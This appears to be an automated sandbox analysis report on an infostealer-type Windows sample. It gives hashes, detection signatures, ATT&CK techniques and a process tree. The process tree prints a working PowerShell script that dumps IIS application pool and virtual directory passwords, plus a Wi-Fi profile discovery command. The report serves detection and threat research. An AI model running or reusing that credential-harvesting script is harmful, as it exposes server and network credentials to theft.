Analysis
- max time kernel
149s - max time network
152s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
01/06/2026, 13:33
Behavioral task
behavioral1
Sample
2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe
Resource
win11-20260513-en
General
- Target 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe
- Size 10.6MB
- Sample260601-qtk4wsfx9p
- SHA256 535fb14dae1ce3752745125f771eea6938e89eaf3c50ec86a3806715b0200121
- MD5 66ea03ea318a1d56c04544d62627fa7e
- SHA1 5df3b8288b7a0750fe52aad1859335799957dfc0
- SHA512 0798e5e6f57ab8abe0fe56cb4ab9eab0b8ab4eb7b4b11574d4de9301f94d9231232186f690adb836e32c8c742e214cff199789ad7d220aebc0efe8a76d4802d2
- SSDEEP 196608:bPzrVBFUcwti7TQlyVN8iNISRTRmW5QD:bLrHwtQQlyXOOQ
- TLSH T1ABB6D000A2D90929D5AF0E7D9062123357397716539A8BCBFBCC82980F57FE6CB76316
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects PEASS hacktool 1 IoCs
resource yara_rule behavioral2/memory/4028-0-0x000002A3E0BD0000-0x000002A3E1672000-memory.dmp family_peass - Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
resource yara_rule behavioral2/memory/4028-0-0x000002A3E0BD0000-0x000002A3E1672000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore - Detects executables manipulated with Fody 1 IoCs
resource yara_rule behavioral2/memory/4028-0-0x000002A3E0BD0000-0x000002A3E1672000-memory.dmp INDICATOR_EXE_Packed_Fody - Detects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs
resource yara_rule behavioral2/memory/4028-0-0x000002A3E0BD0000-0x000002A3E1672000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID - Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 1 IoCs
resource yara_rule behavioral2/memory/4028-0-0x000002A3E0BD0000-0x000002A3E1672000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store - Loads dropped DLL 1 IoCs
pid Process 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 5884 netsh.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1376 systeminfo.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe Token: 33 2604 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2604 AUDIODG.EXE Token: SeDebugPrivilege 5476 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4028 wrote to memory of 1376 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 82 PID 4028 wrote to memory of 5884 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 86 PID 4028 wrote to memory of 5476 4028 2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe 88 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe"C:\Users\Admin\AppData\Local\Temp\2026-06-01_66ea03ea318a1d56c04544d62627fa7e_darkgate_glassworm_hijackloader_icedid.exe"1⤵
- Loads dropped DLL
- Checks whether UAC is enabled
- Enumerates connected drives
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4028 -
C:\Windows\SYSTEM32\systeminfo.exe"systeminfo.exe"2⤵
- Gathers system information
PID:1376
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C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:5884
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" # Check if appcmd.exe exists if (Test-Path ('C:\Windows\system32\inetsrv\appcmd.exe')) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add('user') $Null = $DataTable.Columns.Add('pass') $Null = $DataTable.Columns.Add('type') $Null = $DataTable.Columns.Add('vdir') $Null = $DataTable.Columns.Add('apppool') # Get list of application pools Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list apppools /text:name' | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.username' $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.password' $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne '') -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name' | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:userName' $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:password' $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne '') -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline #$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique $DataTable | Select-Object user,pass,type,vdir,apppool } else { # Status user Write-host 'No application pool or virtual directory passwords were found.' } }2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5476
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004D0 0x00000000000004EC1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2604
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Costura\27562734BD0EFF9434A8AA8BED4CA874\64\sqlite.interop.dll
- Size 1.9MB
- SHA256 5459fab6809a11c2148c235fdf8c431fe370d3f12ff25c054750f47082ccc1c9
- MD5 4429241f22fa62df22cd4f7772b44aa1
- SHA1 9c7a5356c4fe02316e9e9688717ce70ebf322fba
- SHA512 43e2b7aebbb5faec5ca8468932403509e8a75eae7154d597e0b4064508ac6225867f2ebe37025135f9523a34b3fadd4deeecc80b8378d94b1001c68647b54dfe
- SSDEEP 24576:lxy+P24+Tg3esKGD37CbI0V411cP/2NXAYB4HRqqUiAItgCSZUwUF1mXtT9IlAcT:Pvdesv3fcP/2NXD6RHTjKb66H1i
- TLSH T1E3958C4BB2B4009DD5A7C17CC6179B0BE7B174051760ABDB07A487AA2F23FE516BE324
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_znakf543.vov.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH